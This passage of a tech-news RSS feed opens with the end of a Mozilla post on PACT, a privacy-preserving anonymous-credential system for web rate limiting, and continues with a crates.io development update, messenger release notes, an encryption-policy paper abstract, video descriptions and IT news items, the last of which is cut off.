<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: crates.io: development update]]></title>
<description><![CDATA[Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer
Crate pages now have a "Code" tab that lets you browse the contents of published ...]]></description>
<link>https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:18 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Another six months have passed since our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">last development update</a>, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to <a href="https://crates.io/" rel="external">crates.io</a> since then.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#source-code-viewer"></a>
Source Code Viewer</h3>
<p>Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that <code>cargo</code> downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized <code>Cargo.toml</code> files that <code>cargo</code> generates.</p>
<p><img alt='Source code viewer showing the "Code" tab of the serde crate' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/code-tab.png"></p>
<p>The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable <code>#L10-L20</code> URLs.</p>
<p>Under the hood, the server now builds a zip file for every published version. Since the <code>.crate</code> files that <code>cargo</code> consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.</p>
<p>The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#untangling-crates-io-accounts-from-github"></a>
Untangling crates.io Accounts from GitHub</h3>
<p>At the end of May, the crates.io team accepted <a href="https://github.com/rust-lang/rfcs/pull/3946" rel="external">RFC #3946</a>. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.</p>
<p>The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#advisories-and-suggestions"></a>
Advisories and Suggestions</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a> we introduced the "Security" tab, which shows security advisories from the <a href="https://rustsec.org/" rel="external">RustSec</a> database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to <a href="https://github.com/djc" rel="external">Dirkjan Ochtman</a> for implementing this feature!</p>
<p><img alt="Unmaintained warning banner on the ansi_term crate page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/unmaintained-banner.png"></p>
<p>Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like <code>lazy_static</code>, which has been superseded by <code>std::sync::LazyLock</code> since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.</p>
<p><img alt='"You might not need this dependency" banner on the lazy_static crate page' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/std-replacement-banner.png"></p>
<p>The dataset behind this feature lives in the new <a href="https://github.com/rust-lang/std-replacement-data" rel="external">rust-lang/std-replacement-data</a> repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable <code>std</code>, <code>core</code>, or <code>alloc</code> API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#ferris"></a>
Ferris</h3>
<p>The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:</p>
<p><img alt="Ferris' eyes following the mouse cursor on the error page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/ferris.gif"></p>
<p>Getting a 404 error on crates.io is now slightly less sad.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#svelte-frontend-migration-completed"></a>
Svelte Frontend Migration Completed</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a>, we announced that we were experimenting with porting the crates.io frontend from Ember.js to <a href="https://svelte.dev/" rel="external">Svelte</a>. This experiment has concluded successfully: the new frontend reached feature parity, went through a <a href="https://blog.rust-lang.org/inside-rust/2026/04/17/crates-io-svelte-public-testing/" rel="external">public testing phase</a> in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.</p>
<p>We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.</p>
<p>We want to thank the <a href="https://emberjs.com/teams/" rel="external">Ember.js team</a> for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#miscellaneous"></a>
Miscellaneous</h3>
<p>These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:</p>
<ul>
<li>
<p><strong>Search performance</strong>: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.</p>
</li>
<li>
<p><strong>Reverse dependencies performance</strong>: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.</p>
</li>
<li>
<p><strong>New ARCHITECTURE.md</strong>: If you've ever wondered how crates.io actually works, our <a href="https://github.com/rust-lang/crates.io/blob/main/docs/ARCHITECTURE.md" rel="external"><code>ARCHITECTURE.md</code></a> document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run <code>cargo publish</code>, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.</p>
</li>
<li>
<p><strong>Definition lists</strong>: READMEs now render Markdown <a href="https://github.com/rust-lang/crates.io/pull/13950" rel="external">definition lists</a>, a widely used Markdown extension. Our markdown renderer <a href="https://crates.io/crates/comrak" rel="external">comrak</a> already supported them, the extension just wasn't enabled yet. Thanks to <a href="https://github.com/mistaste" rel="external">@mistaste</a> for this contribution!</p>
</li>
<li>
<p><strong>CDN cache tags</strong>: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.</p>
</li>
<li>
<p><strong>Caching improvements</strong>: We removed a global <code>Vary: Cookie</code> response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use <code>Cache-Control: no-store</code> instead, resulting in better cache hit rates at the CDN edge.</p>
</li>
<li>
<p><strong>Accessibility</strong>: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.</p>
</li>
<li>
<p><strong>Git index performance</strong>: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.</p>
</li>
</ul>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#feedback"></a>
Feedback</h3>
<p>We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on <a href="https://rust-lang.zulipchat.com/#narrow/stream/318791-t-crates-io" rel="external">Zulip</a> or <a href="https://github.com/rust-lang/crates.io/discussions" rel="external">GitHub</a>. We are always happy to hear from you and are looking forward to your feedback!</p>]]></content:encoded>
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<title><![CDATA[v8.20.0-beta.1]]></title>
<description><![CDATA[Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.
Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back o...]]></description>
<link>https://tsecurity.de/de/3693283/tools/v8200-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693283/tools/v8200-beta1/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:16 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.</li>
<li>Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back of the line.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v8.20.0]]></title>
<description><![CDATA[Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.
Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back o...]]></description>
<link>https://tsecurity.de/de/3693282/tools/v8200/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693282/tools/v8200/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:15 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Introducing disappearing call events: Missed, outgoing, and received calls that occur after you install this update will now automatically disappear in any chat where disappearing messages are enabled.</li>
<li>Now you can reorder installed sticker packs so your new favorites don’t get stuck in the back of the line.</li>
</ul>]]></content:encoded>
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<item>
<title><![CDATA[End-to-End Encryption and “Going Dark”]]></title>
<description><![CDATA[New paper: “Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate“:
Abstract: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the curr...]]></description>
<link>https://tsecurity.de/de/3693276/reverse-engineering/end-to-end-encryption-and-going-dark/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693276/reverse-engineering/end-to-end-encryption-and-going-dark/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:01 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New paper: “<a href="https://papers.ssrn.com/sol3/papers.cfm?abstract_id=6959699">Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate</a>“:</p>
<blockquote><p><b>Abstract</b>: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the current controversies over end-to-end encryption (E2EE). Governments around the world have proposed, and in some cases enacted, laws limiting E2EE for law enforcement and national security purposes.</p>
<p>This Article explains the underlying technologies and market developments for a law and policy audience to assess those proposals critically. The Article proceeds in three parts tracking three rounds of the Going Dark Debate. Round 1 covers the Crypto Wars of the 1990s, when U.S. export controls on strong encryption ultimately fell in 1999. Round 2 covers the period roughly 2010 to 2015, when encryption-in-transit became widespread but lawful access remained available through cloud providers, giving rise to what the authors called a “golden age of surveillance” rather than a period of going dark. Round 3 addresses the current debate over E2EE, where no entity between sender and recipient can read the plaintext...</p></blockquote>]]></content:encoded>
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<title><![CDATA[NVIDA's New DGX Stations Destroying The Entire AI INDUSRTY!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 791x - Views:22194 NVIDIA just revealed the most powerful AI workstation ever built—and it puts data center hardware on your desk. Powered by the new GB300 Grace Blackwell Ultra Superchip, the NVIDIA DGX Station combines a 72-core Grace CPU, a Blackwell Ultra GPU ...]]></description>
<link>https://tsecurity.de/de/3693227/videos/nvidas-new-dgx-stations-destroying-the-entire-ai-indusrty/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693227/videos/nvidas-new-dgx-stations-destroying-the-entire-ai-indusrty/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:45 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 791x - Views:22194 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Oi_3c3jiMPw?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>NVIDIA just revealed the most powerful AI workstation ever built—and it puts data center hardware on your desk. Powered by the new GB300 Grace Blackwell Ultra Superchip, the NVIDIA DGX Station combines a 72-core Grace CPU, a Blackwell Ultra GPU with 20,480 CUDA cores, 748GB of unified coherent memory, and up to 20 petaflops of AI compute. It&#039;s designed to run massive AI models locally, eliminating many of the memory limitations that force developers to rely on expensive cloud GPUs. In this video, we break down the DGX Station architecture, unified memory, NVLink C2C, HBM3e, local AI inference, trillion-parameter model claims, real-world pricing, and why NVIDIA believes desktop AI workstations are the future of artificial intelligence development. We also compare the DGX Station with DGX Spark, Apple’s Mac Studio, cloud GPU infrastructure, and explain why local AI could become the next major shift in computing.<br />
<br />
Is NVIDIA reinventing the personal computer for the AI era?<br />
<br />
#NVIDIA #DGXStation #Blackwell #AIWorkstation #ArtificialIntelligence #LocalAI #CUDA<br/></p>]]></content:encoded>
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<title><![CDATA[Why Satellite Internet Doesn’t Suck Anymore]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 7667x - Views:169395 Get a free 15-day trial of Odoo’s all-in-one business solution and see how it can make your life easier! Check it out at https://www.odoo.com/r/IXfS

Satellite internet used to be a last resort - laggy, expensive, and locked behind a hard data...]]></description>
<link>https://tsecurity.de/de/3693222/videos/why-satellite-internet-doesnt-suck-anymore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693222/videos/why-satellite-internet-doesnt-suck-anymore/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:38 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 7667x - Views:169395 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/j43j9iwU158?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Get a free 15-day trial of Odoo’s all-in-one business solution and see how it can make your life easier! Check it out at https://www.odoo.com/r/IXfS<br />
<br />
Satellite internet used to be a last resort - laggy, expensive, and locked behind a hard data cap. Then low Earth orbit changed everything. We break down how it actually works, why it used to be so bad, what made it usable, and why physics means it&#039;ll never fully replace fiber - with astronomer and orbital tracker Jonathan McDowell.<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
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► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
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<title><![CDATA[This Chinese Company Destroyed The DDR5 RAM Prices Over Night - $500 to $50!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 782x - Views:17162 RAM prices have exploded over the past two years, but a little-known Chinese company may finally be changing that. While Samsung, SK hynix, and Micron shifted their factories toward high-profit AI memory, everyday DDR5 RAM became harder to find ...]]></description>
<link>https://tsecurity.de/de/3693214/videos/this-chinese-company-destroyed-the-ddr5-ram-prices-over-night-500-to-50/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693214/videos/this-chinese-company-destroyed-the-ddr5-ram-prices-over-night-500-to-50/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:27 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 782x - Views:17162 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/qa3XB_EaMUo?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>RAM prices have exploded over the past two years, but a little-known Chinese company may finally be changing that. While Samsung, SK hynix, and Micron shifted their factories toward high-profit AI memory, everyday DDR5 RAM became harder to find and dramatically more expensive. Now, China&#039;s CXMT is stepping in with a massive expansion of DDR5 production, potentially bringing competition back to one of the world&#039;s most concentrated semiconductor markets. In this video, we break down why RAM prices skyrocketed, how AI created the global memory shortage, CXMT&#039;s rapid rise, its new DDR5 and LPDDR5X lineup, the company&#039;s record-breaking IPO, HBM ambitions, and whether this could finally make PC memory affordable again.<br />
<br />
Could CXMT become the fourth memory giant—and finally end the RAM shortage?<br />
<br />
#CXMT #DDR5 #RAM #Semiconductors #AI #China #Technology #PC<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[You’re Not Paying the Same Price As Me]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 2779x - Views:41281 Thanks to Micro Center for sponsoring this video! Shop Back to School Tech Deals: https://micro.center/baef21

Sign up for a FREE 128 gig Flash Drive at Micro Center Austin, TX: https://micro.center/fdf6b0
Sign up for a FREE 128 gig Flash Drive...]]></description>
<link>https://tsecurity.de/de/3693208/videos/youre-not-paying-the-same-price-as-me/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693208/videos/youre-not-paying-the-same-price-as-me/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:18 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 2779x - Views:41281 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/-SSI6E5QCOw?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Thanks to Micro Center for sponsoring this video! Shop Back to School Tech Deals: https://micro.center/baef21<br />
<br />
Sign up for a FREE 128 gig Flash Drive at Micro Center Austin, TX: https://micro.center/fdf6b0<br />
Sign up for a FREE 128 gig Flash Drive at Micro Center Columbus, OH: https://micro.center/4f8a89<br />
<br />
Visit Micro Center News: https://micro.center/a34dc2<br />
<br />
Shopping is getting harder all the time. Virtual aisles filled with crap and fake reviews, but thankfully new tech is....er... making things worse... If you&#039;ve been burned by things getting more expensive or changing price this video is for you. <br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
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► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
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<item>
<title><![CDATA['The government has all but forgotten that most data centres require water to cool their systems': Industry trade board warns UK government over data center thirst for resources]]></title>
<description><![CDATA[Water UK calls out the government for not taking water seriously enough, despite plans to treble data center capacity by 2030.]]></description>
<link>https://tsecurity.de/de/3693179/it-nachrichten/the-government-has-all-but-forgotten-that-most-data-centres-require-water-to-cool-their-systems-industry-trade-board-warns-uk-government-over-data-center-thirst-for-resources/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693179/it-nachrichten/the-government-has-all-but-forgotten-that-most-data-centres-require-water-to-cool-their-systems-industry-trade-board-warns-uk-government-over-data-center-thirst-for-resources/</guid>
<pubDate>Sat, 25 Jul 2026 08:18:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Water UK calls out the government for not taking water seriously enough, despite plans to treble data center capacity by 2030.]]></content:encoded>
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<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</guid>
<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



